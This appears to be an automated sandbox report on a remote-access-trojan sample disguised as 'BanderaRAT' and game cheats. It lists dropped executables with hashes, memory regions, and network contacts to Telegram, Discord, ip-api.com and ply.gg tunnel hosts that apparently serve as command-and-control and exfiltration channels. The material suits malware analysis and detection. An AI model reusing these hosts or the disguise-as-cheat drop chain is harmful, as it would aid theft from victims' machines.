US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 181.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 90.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 203.33.253.131.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 epsilonbot.xyz udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 blank-ft0he.in udp
US 8.8.8.8:53 blank-ft0he.in udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 points-detect.gl.at.ply.gg udp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 greater-questionnaire.gl.at.ply.gg udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 8.8.8.8:53 artist-shared.gl.at.ply.gg udp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 199.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 13.173.189.20.in-addr.arpa udp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp

Files

C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe

MD5 e43fcc64c9652b1742833471228ced37
SHA1 f9acaf80a000eaf2e2f6257790433b6811939565
SHA256 fde70b6d1e0cad637d34c220bad9e68460c599fe9bc1ca26afefc5347abef318
SHA512 c2f165f9596abef67d793a3a0db16483f6d3262e6c998be1de9fc5a7754e26012b641ad312ec8a62097325363c2d1a40a3f85965079bc03e120adae2bfa7248f

C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe

MD5 89f53e8cd9f2e7625f94b23c8033a37a
SHA1 e3bda5624b5766a66b1f0bc6c20b591b6b58f4c9
SHA256 d84e1be439d5cf273c3b320e59f59507cbc197c378eab27c481f590f1706bfb7
SHA512 ab19ee2411c6986be67a9eb82d006e2ac373786aaa643402584d89715dbde217b6eb80029aac7e7aa44f2ce53a5280d88400b305fc24adac0d9db1e635d45371

C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe

MD5 96caf492034daecfdbc30dfd30c683a6
SHA1 78beb2933e715bc5c9b370ce83ae4900f30c0d5d
SHA256 387e851d01b7db5046f0fa417cf561355828ce979b5273fb1a83ae02469d5003
SHA512 3977a3c9ac75a4562eb08dcbca2cd7b1a26e2739f80d5eeed4161e11f7a6f98d8f7fdacb8ea7b45e7a8f5a3223f06a1fd83e444121ff6e9d532f1d90797b998a

memory/4780-12-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4780-13-0x00000000007A0000-0x000000000162A000-memory.dmp

memory/4780-14-0x000000001C1B0000-0x000000001C1C0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 b869e32cdac575ca23d73e7f9f046e6b
SHA1 2bc4ce47bb37e3ffb4faabc1015d2608a8fa96c1
SHA256 4dc95e267ff2a5054ca354035113f16be23c06e374343b6db43b5a084b71b8e3
SHA512 d6913b3460d947043313d65458768d2fb5bb24d38da236ca88a00f61f63829e164681a22c41c3780e25001827a7219eac73b47dc26eed5ad46705c0b079c7e80

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 f1c9e1199e9a1bbd9c708f488dd1e747
SHA1 32bdd04a7e3a08fd0a2312cecfaf2eb5d2f5c17c
SHA256 9c75af305c1c0711c420b4c4c35b14d21de9940b9c7360f9b24830a6e0884724
SHA512 b76b0eceb4c8f11c67df7a2f29434e89220deb88eaee06a909cc356c69d9b34e5a65beefbde75294a90bfb786a43866b169afa8768c774dbc2b853b2506ffab8

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 bacd70cac4536320ad144e5b5514cf97
SHA1 d0948ae5ad04a58841405727fbfbfcd448b17ebd
SHA256 f9f680e0d16e4bf88f241a45a22f6017dcd1565d83e772546c63b457f375204d
SHA512 8c7d99426d52c312902bde9d9bc1b35f258da3e33dec1a114cc7db93962523b434f2768e9d08060b891f120f0a200a76e001685a55c8138072b7efc2d8cc350f

memory/1672-26-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/1672-30-0x0000000000260000-0x000000000057E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 4e8dc1959268437463d1d58e3a85f992
SHA1 1e4b3f1310ef8237b9b74197063a90839b6512eb
SHA256 4dd67928d32726a6974151f1665c96e7b96d0ed3c7331f18b70b55b51ba82402
SHA512 8a53d2a4a0d6008f6c0a7857d89ee6088648ad5a3e8ebfa5b02dc93d3b67f5fab720a47eaabaff101001d390179d316d55413d38b0d3fe218f7e125128ca3dd9

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 8bc8eff162905154819c9e09aa25ec65
SHA1 ecbc037a5010b727f91a0748b8ca2e122ef92f2b
SHA256 01744751f624a11e049b431923f8edaad3a051f5340303506653a203570c29c3
SHA512 b6419265427f21c19a8a9ced22ce68244c711d0a478ecb01c188e209ea045e7452453232a012d1d27617114a0926941f7c68367862bb7bf4faae89402fe5b9e8

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 d8def3b5d222f4e9059e08e7100b526f
SHA1 66f201f392265f0abf6e261e0507221b9dc0d244
SHA256 9e677be49cc2f5e137418603327bcea729da6e4caa46273b29702c99aa812351
SHA512 b97c17a8e01b14fa99d3c6d744ae3b8d72f8b0b281fec3f352cc7778642323830a6553ebd26ab2c1aeebb9b5138c66016f5b309b6b3b6f501b0b03ce1f859f88

memory/4776-41-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4780-40-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4776-42-0x0000000000380000-0x0000000000EE2000-memory.dmp

memory/1672-43-0x0000000002760000-0x0000000002770000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 082415680c92c9bbe6b1b61fc1569129
SHA1 8be77738d418155c30744965905739f27e85dcdc
SHA256 f8b584dc004c6dd33a80916990f13e4170ac84f0ef37710638f484821f742b3b
SHA512 4d8821414acd0a6d41afa0255c1c039d7cf9764ffb381aaa6239895d8aac2071e63fed7d7acd82ea7dcad8c80da9c40a74505ff3adfeb469f59426f8de6ab196

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

MD5 701df65121e1977fdf160bd9cfb9bb6a
SHA1 5fbbddbad5e0ca509b60134f78188f255bf6b74e
SHA256 3723e482205265aab379471320d8ed825c04a106fd15881e5f09e6e25fc4e5f1
SHA512 2b15ab4a089bcf1f62cb0172f1674756016f54e07547b5038ba10975aaf6dde920d2a18d254245b4a4f2715b32040086a00b1cacc1bcf4cc1dc5a512feaa9607

memory/4720-56-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/1672-57-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4776-58-0x000000001BAF0000-0x000000001BB00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 565ce8597ce07589db5881d862fb8c20
SHA1 7da9bb1f51a190933789d15874f12ed8b8e3f575
SHA256 91c244b835cf941f5b4e779c15e78c7e607f7fde87c0c8265e276f579e3a3502
SHA512 0f67297234d7018bbb065215abd8052b629859086742b11f9794530bb170f5d409f26cd893e63dc7c2fabcf27a4807135cf5dd6995e303a89d5b68b1829706c4

memory/4720-62-0x0000000002180000-0x0000000002190000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sisk.exe

MD5 ab1bbb41c6c90c3b6d93a9be5e352995
SHA1 70cd2de832d76014d7f50ee1a16e89fba701b659
SHA256 1bf82ca4dd37e2b8f28b458da35a1e76059d65999a4bc480f4c245544c963c45
SHA512 77b8aa1baafc4301e563fd6298ebc7785803f6894e12deb52887424a8ad8bf6f907c0297da7ed4cfd58fc151d5507d6164fb2bd2644c6cd71e84a6ca765d57a2

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 fa7ff847928c0fffdc6b9e0348623ee9
SHA1 fe4dcba5e0fc5d50016ef281557c65ddc9e856bc
SHA256 55b9f90074c4f4e7f7160cc1e97d8100764b2513c9c72dd2a18705b613c1be1d
SHA512 ab564d59d36aeed3ae4ebad657eddd27d3420a4d037fef0550f372e18de42d402c5059c206f168cc508940d6c5c7abdde18c854875ad5c95e3fa59c200d8abb4

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 7daa3f961a7628e7276cfe744028bcf8
SHA1 29f57c903a0688bcd7de1315180508a70997ef82
SHA256 1fc0dd28085b9dc5b8ebf4600c8276438542f1a45dc82e3ee0a8dfaf51f03999
SHA512 6e3e74e330c81adf85d613380623aeb2c2e469b9cd6760e27e40baba776345f7b44571add827bb4224e4e9eb2131b5db0b565bb1f51c69156225f81f3aa515df

memory/3512-83-0x0000000000150000-0x0000000000168000-memory.dmp

memory/4776-85-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/3512-84-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4148-86-0x0000000000270000-0x0000000000DDE000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\BanderaRAT.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 fb9f49732473d1b51fdfef3fdb5c92aa
SHA1 12e64609a9bf065d60ceb36f5a21fc3ae9aadbb3
SHA256 959f07aa2256586ede8d0df200c2f9e62d4f78045428d0c37151f75341dda6c7
SHA512 3411479e9fb89475bb442a62fbd7c62f5a1f49ff1c74b2d92fcfbc2f4cf825c5fb994acb3818c05d0a56be86c61b6f290b14c4c9b87c2a65c4f7c6a3b5ed855b

memory/4148-87-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/3180-92-0x0000000000240000-0x000000000024E000-memory.dmp

memory/1496-93-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4720-95-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

C:\ProgramData\XClient.exe

MD5 9ecb9d48c8da1e49862a32f5d32e3c9b
SHA1 20902b0b25916dab87b0a373e6fa28ce26feed49
SHA256 fb2089afae7b75b4bfe6780786cd723a7ef09a22ac3b8701b31c3989de41e7ff
SHA512 3dfd281d6989c8a4e9c19c35cb5581821854dfe5719e58e59b4ab7955e272e108e626fa9a7bd6c0fa0ab9d596176ff008c157fa8908959da321cb921dd70cae3

memory/3180-109-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/1496-110-0x000000001B820000-0x000000001B830000-memory.dmp

C:\ProgramData\Cheat.exe

MD5 a495f7df4cdb2c9febd69c56ff6563bc
SHA1 f95944cab464e1d89b671be7ec345d44e9bf8a03
SHA256 5779c0b0351a6ecc3a65d5f979858f930c9a63fa907cea2082a0de2af6393052
SHA512 74c38d45af559f5a30d22b2525b5c45becbf512afd828aed0604554e9c6c13b1b587dd88a035be02f9c6d319d4a0f894597de67024902049b00580f3e984f1e7

memory/3812-114-0x0000000000FA0000-0x0000000000FB0000-memory.dmp

memory/3812-116-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

C:\ProgramData\Built.exe

MD5 9d5c52ee5fce352b035e8cf57a65e127
SHA1 3e7609103c3f0fe9a79e11af2c786e3449c77a81
SHA256 6dce7fb6cb9dc4c017a144f6cb421453a55477f0c741f30b85c3d18e6e24cb00
SHA512 58be92538dac91a4be61d350cce2373efa97485fbb983cc3df49a9c28de226f266463f37ae4916184ff3252d7fc4981552b2633fbafbd5180316957ab00b2820

memory/5000-128-0x0000000000E90000-0x0000000000EA6000-memory.dmp

memory/3512-129-0x000000001AE70000-0x000000001AE80000-memory.dmp

memory/5000-131-0x0000000074C70000-0x0000000075420000-memory.dmp

memory/5000-132-0x0000000005720000-0x00000000057BC000-memory.dmp

C:\ProgramData\Built.exe

MD5 225c27de07b6b158cf5c7aa722eba030
SHA1 6f5a5ec20191a5f2749aad5c9ca3bb13e1c9e48d
SHA256 1eacb00b54c8c31f7a7f02b12f737d2b561168b525fd94085acd77a40b243551
SHA512 8b0ad704c781f69053aa90c8432e7ed3299984cd2693a6821fc7606d5cc89518c29628f026dd8d6b76be330e9daf068796fe66d2685f2270af170d78953309de

memory/4608-154-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/5000-160-0x0000000005E30000-0x00000000063D4000-memory.dmp

C:\ProgramData\Fluxus V7.exe

MD5 9d5c7e2706aa756682891d3e10385a17
SHA1 29ac87b8272376f4f8bb7a27827a0c898afe7eea
SHA256 1cb05f9c1ec23240cd9c5126cd10a12bcfc3cab63c1e9b1b64d055e92b114b2b
SHA512 371c4536451a49b42c601a5bfc18374d8a2d5470b75b62ddd7bbf1a999dccd3f2dc1e40948e592072f67576c46e05d86f82906995a94b0cee3e79b1b77d6dff3

C:\ProgramData\Fluxus V7.exe

MD5 129676df0c6c34a5e35752dbc5c48e86
SHA1 b4e4523096d59d1ab48bbe92b5d0d74cddba1071
SHA256 5c40be42ec0e603ea412128276fc824158e16356d32297693330cfa57614ec72
SHA512 80e2f514b19e6dda922bd6d61d711a76a37b127937fd4ae60dab585224b481e7b52d4603d5c0532cdffd67543c8ff6c8b2c30e803a021177ea1a82ad7098a219

C:\Users\Admin\AppData\Local\Temp\_MEI37002\VCRUNTIME140.dll

MD5 d9c2529d395734d8b45424ffad61c13c
SHA1 7b22bc8c2f49dc1956a346eabb02037c1d5ae181
SHA256 a028671c6536180478bd1e0aad5b88ea226a13a3f7cf222845719a4aa8771891
SHA512 0595a2baee030433552afb01ea5c52d7a83e77e954d62eca27e461ca5c35866e84c2ecb52d66dda80ebedfa1eac3da126bcd1f54961fd4f80d90e4777a1b7d4b

memory/2320-176-0x0000000074C70000-0x0000000075420000-memory.dmp

memory/4148-178-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_ssl.pyd

MD5 936919f3509b2a913bf9e05723bc7cd2
SHA1 6bf9f1ecfcd71fc1634b2b70fcd567d220b1a6bd
SHA256 efce6dcf57915f23f10c75f6deaf6cb68efe87426caad4747ca908199b1f01e3
SHA512 2b2436e612b6cd60d794f843498fcbf8624a80e932d242592e569e32ec1d40a25d80e2c7e9f8edc7fc0478cef2ec6f77ad6c6ebbddf5afb027263397c91c73c3

memory/3904-206-0x00007FF812AC0000-0x00007FF812AE4000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ssbobr2.0.exe.log

MD5 fff5cbccb6b31b40f834b8f4778a779a
SHA1 899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256 b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA512 1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

memory/1496-210-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/3180-207-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/2320-211-0x0000000005350000-0x00000000053E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_sqlite3.pyd

MD5 c9d6ffa3798bb5ae9f1b082d66901350
SHA1 25724fecf4369447e77283ece810def499318086
SHA256 410dad8d8b4ccf6f22701a2cdcb1bb5fd10d8efa97a21b1f5c7e1b8afc9f4fec
SHA512 878b10771303cb885039348fc7549338ad2ce609f4df6fff6588b079ab9efb624d6bc31474e806ad2a97785b30877b8241286276f36aab9e50a92cbf11adc448

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_socket.pyd

MD5 3ea95c5c76ea27ca44b7a55f6cfdcf53
SHA1 aace156795cfb6f418b6a68a254bb4adfc2afc56
SHA256 7367f5046980d3a76a6ddefc866b203cbaced9bb17f40ea834aed60bb5b65923
SHA512 916effbe6130a7b6298e1bd62e1e83e9d3defc6a7454b9044d953761b38808140a764ded97dcb1ab9d0fa7f05ae08c707da7af1c15f672a959ad84aa8da114c0

memory/2320-212-0x0000000009E10000-0x0000000009E18000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_queue.pyd

MD5 8b3ba5fb207d27eb3632486b936396a3
SHA1 5ad45b469041d88ec7fd277d84b1e2093ec7f93e
SHA256 9a1e7aaf48e313e55fc4817f1e7f0bfe0a985f30c024dcc8d28d67f8ff87a051
SHA512 18f5a0b1a384e328d07e59a5cefbc25e027adf24f336f5ec923e38064312ea259851167bc6bc0779e2d05cd39ddd8d16a2dfd15751c83ee58fda3b1187edc54b

memory/2320-213-0x0000000009EA0000-0x0000000009ED8000-memory.dmp

memory/2320-214-0x0000000009E60000-0x0000000009E6E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_lzma.pyd

MD5 5eee7d45b8d89c291965a153d86592ee
SHA1 93562dcdb10bd93433c7275d991681b299f45660
SHA256 7b5c5221d9db2e275671432f22e4dfca8fe8a07f6374fcfed15d9a3b2fdf07d9
SHA512 0d8f178ff5ef1e87aa4aae41089d063985c11544f85057e3860bcab1235f5ddb1cb582550a482c8b7eb961211fa67777e30b678294258ada27c423070ce8453e

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_hashlib.pyd

MD5 6d2132108825afd85763fc3b8f612b11
SHA1 af64b9b28b505e4eab1b8dd36f0ecf5511cc78a0
SHA256 aba69b3e817bfb164ffc7549c24b68addb1c9b88a970cf87bec99d856049ee52
SHA512 196bcf97034f1767a521d60423cca9d46a6447156f12f3eac5d1060a7fa26ac120c74c3ef1513e8750090d37531d014a48dd17db27fbfbb9c4768aa3aca6d5c0

memory/2320-215-0x000000000B490000-0x000000000BAB8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_decimal.pyd

MD5 918e513c376a52a1046c4d4aee87042d
SHA1 d54edc813f56c17700252f487ef978bde1e7f7e1
SHA256 f9570f5d214d13446ed47811c7674e1d77c955c60b9fc7247ebcb64a32ae6b29
SHA512 ac2990a644920f07e36e4cb7af81aab82a503e579ce02d5026931631388e2091a52c12e4417e8c747f2af9aa9526b441a3f842387b5be534633c2258beeed497

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_bz2.pyd

MD5 341a6188f375c6702de4f9d0e1de8c08
SHA1 204a508ca6a13eb030ed7953595e9b79b9b9ba3b
SHA256 7039e1f1aef638c8dd8f8a4c55fd337219a4005dca2b557ba040171c27b02a1e
SHA512 5976f053ff865313e3b37b58ca053bc2778df03b8488bb0d47b0e08e1e7ba77ccf731b44335df0cea7428b976768bedc58540e68b54066a48fc4d8042e1d8a24

C:\Users\Admin\AppData\Local\Temp\_MEI37002\unicodedata.pyd

MD5 6279c26d085d1b2efd53e9c3e74d0285
SHA1 bd0d274fb9502406b6b9a5756760b78919fa2518
SHA256 411bfb954b38ec4282d10cecb5115e29bffb0b0204ffe471a4b80777144b00f6
SHA512 30fdeed6380641fbb4d951d290a562c76dd44b59194e86f550a4a819f46a0deb7c7a2d94867cc367c41dcab9efb95628d65fe9a039c0e14a679c149148d82ac9

C:\Users\Admin\AppData\Local\Temp\_MEI37002\sqlite3.dll

MD5 cc9d1869f9305b5a695fc5e76bd57b72
SHA1 c6a28791035e7e10cfae0ab51e9a5a8328ea55c1
SHA256 31cb4332ed49ce9b31500725bc667c427a5f5a2a304595beca14902ba7b7eeee
SHA512 e6c96c7c7665711608a1ba6563b7b4adb71d0bf23326716e34979166de65bc2d93cb85d0cb76475d55fd042da97df978f1423c099ad5fbeeaef8c3d5e0eb7be1

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hahlw14.ard.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2320-226-0x000000000BAC0000-0x000000000BAF6000-memory.dmp

memory/2320-225-0x000000000B430000-0x000000000B44A000-memory.dmp

memory/2320-227-0x000000000C180000-0x000000000C7FA000-memory.dmp

memory/2320-228-0x000000000BBA0000-0x000000000BC36000-memory.dmp

memory/2320-229-0x000000000BB30000-0x000000000BB52000-memory.dmp

memory/2320-230-0x000000000BCB0000-0x000000000BD16000-memory.dmp

memory/2320-231-0x000000000BB80000-0x000000000BB9E000-memory.dmp

memory/2320-232-0x000000000BD20000-0x000000000BD6A000-memory.dmp

memory/2320-233-0x0000000002970000-0x0000000002980000-memory.dmp

memory/2320-234-0x0000000002970000-0x0000000002980000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\select.pyd

MD5 2398a631bae547d1d33e91335e6d210b
SHA1 f1f10f901da76323d68a4c9b57f5edfd3baf30f5
SHA256 487fd8034efaf55106e9d04fc5d19fcd3e6449f45bc87a4f69189cd4ebb22435
SHA512 6568982977b8adb6ee04b777a976a2ecc3e4db1dffbd20004003a204eb5dae5980231c76c756d59a5309c2b1456cb63ab7671705a2c2e454c667642beb018c21

C:\Users\Admin\AppData\Local\Temp\_MEI37002\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

memory/4472-235-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/3512-236-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI37002\libssl-3.dll

MD5 6eda5a055b164e5e798429dcd94f5b88
SHA1 2c5494379d1efe6b0a101801e09f10a7cb82dbe9
SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
SHA512 74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

C:\Users\Admin\AppData\Local\Temp\_MEI37002\libcrypto-3.dll

MD5 27515b5bb912701abb4dfad186b1da1f
SHA1 3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411
SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
SHA512 087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

C:\Users\Admin\AppData\Local\Temp\_MEI37002\blank.aes

MD5 291948ee8e8927f3a74e829695ff9b43
SHA1 2d28ac4941f4095b8ac4340e4b626af45da15625
SHA256 035ba985560ab044aa1c4c413dc1b5706031a6143cd38606e57b5da145aaac6a
SHA512 924ec1ba39ef26332855871222945b5d5197a7782387175e764558ec410f1f0dab9f8479575e582479e645c3af23d9264141b61846458489e335d308d6024906

C:\Users\Admin\AppData\Local\Temp\_MEI37002\sqlite3.dll

MD5 53041b75f119cc2f6eb04f949c87042a
SHA1 4e082dd77f49b927315b6fd80fd66f81a8834207
SHA256 43e999caef77c5a765f4879d1717a18c3c8c598e3155e263732fe9146ddd9141
SHA512 c085f4d7366e679ed49c7ece9c4f01b06b80f42630ce8a0899a6483830549d6e369f2fc7c85467d268cb2092c6d2455a16d30dedab2ad45ed8d1019077b0da25

C:\Users\Admin\AppData\Local\Temp\_MEI37002\libcrypto-3.dll

MD5 c685becd63dfbddfb79b7564255557fe
SHA1 aef0fec2cf3aeb102e2b3b5b77d2a26647b5ad5b
SHA256 18504215dbbbafed17081a392e124d68043873caff4a92b696d8dc4464f7b9e8
SHA512 558ade3c321403b03bf5c427775974d7da977b33245c6e5c171e91fd88d9be52297886832bd5382fc0b00422737c91c9e0acae84e21f46525e988b681faf23c7

memory/4764-262-0x0000023476900000-0x0000023476922000-memory.dmp

memory/4608-252-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/4764-276-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/2100-274-0x00007FF8017A0000-0x00007FF802261000-memory.dmp

memory/3904-189-0x00007FF8138F0000-0x00007FF8138FF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\_ctypes.pyd

MD5 ee2d4cd284d6bad4f207195bf5de727f
SHA1 781344a403bbffa0afb080942cd9459d9b05a348
SHA256 2b5fe7c399441ac2125f50106bc92a2d8f5e2668886c6de79452b82595fc4009
SHA512 a6b3ad33f1900132b2b8ff5b638cbe7725666761fc90d7f76fc835ecd31dfefc48d781b12b1e60779191888931bb167330492599c5fea8afa51e9c0f3d6e8e55

memory/5000-184-0x0000000005960000-0x0000000005970000-memory.dmp

memory/2320-182-0x0000000000280000-0x0000000000674000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\base_library.zip

MD5 9d84222015f5e2d8afb5ec74d6808ad0
SHA1 38f7c2439e7829cbd2837be1f8b0380ce5c8e444
SHA256 20adf37360e803029eb7f0a99ec882f277765193f6d4bed683a391c06959581f
SHA512 5939f286d47d8ad459521042781d666ff4f99a7b1e4c5747f32f4b3604abca9171fa777ea6453f2e169a4c62931d960b231894fa8faaae0e531c0f232a30e906

memory/3904-180-0x00007FFFFD540000-0x00007FFFFDB2E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37002\VCRUNTIME140.dll

MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

C:\Users\Admin\AppData\Local\Temp\_MEI37002\python311.dll

MD5 76eb1ad615ba6600ce747bf1acde6679
SHA1 d3e1318077217372653be3947635b93df68156a4
SHA256 30be871735591ad96bc3fc7e541cdef474366159c2f7443feb30739cbd2db7e1
SHA512 2b960e74dd73f61d6a44fef0de9f2d50bcf2ec856b7aa5b97f0107e3cdadea461790760668a67db2ecaf71ff323133ee39ce2b38aafff3629c14e736d6a64aeb

C:\ProgramData\Built.exe

MD5 6736a110cb68f5472e62f667b7f7b472
SHA1 50b18673bf5392e723d32a6402f06a9c23b422af
SHA256 a42ece42171fcd29994eb28a2fe439f63048bd5024bb4fef5f458842c8e4b219
SHA512 b00abcb667bc89488b64d17d04f69faef2df5142c6e75dc79b0bbaf00319356f320e40611e7ec9b1f0e784dcca22f9ae99b1e414da46f0c7421d43cab59c961c

C:\ProgramData\Built.exe

MD5 7f08427c499724ca45f6e20589de95f7
SHA1 59a894c9d1b29a0825de20f0a8237854faa48b69
SHA256 f98f904e1189d7b073deb6c3924a57e81cd5773ea557cd1de6a5876b2ae42caa
SHA512 8f1456185934ef6365e25c3dba323e96422413fc9ce9f6452716ef21f9e05e388efbdba6b1c85b26c62ce211fe7194b581c78c5f20aea412df66ccb58dfbe4eb

memory/2320-279-0x0000000005EB0000-0x0000000006204000-memory.dmp

memory/3904-280-0x00007FFFFD540000-0x00007FFFFDB2E000-memory.dmp

memory/3904-282-0x00007FF812AC0000-0x00007FF812AE4000-memory.dmp

memory/2320-281-0x000000000C800000-0x000000000C866000-memory.dmp

memory/3904-284-0x00007FF8114F0000-0x00007FF81151D000-memory.dmp

memory/2320-286-0x000000000C870000-0x000000000C892000-memory.dmp

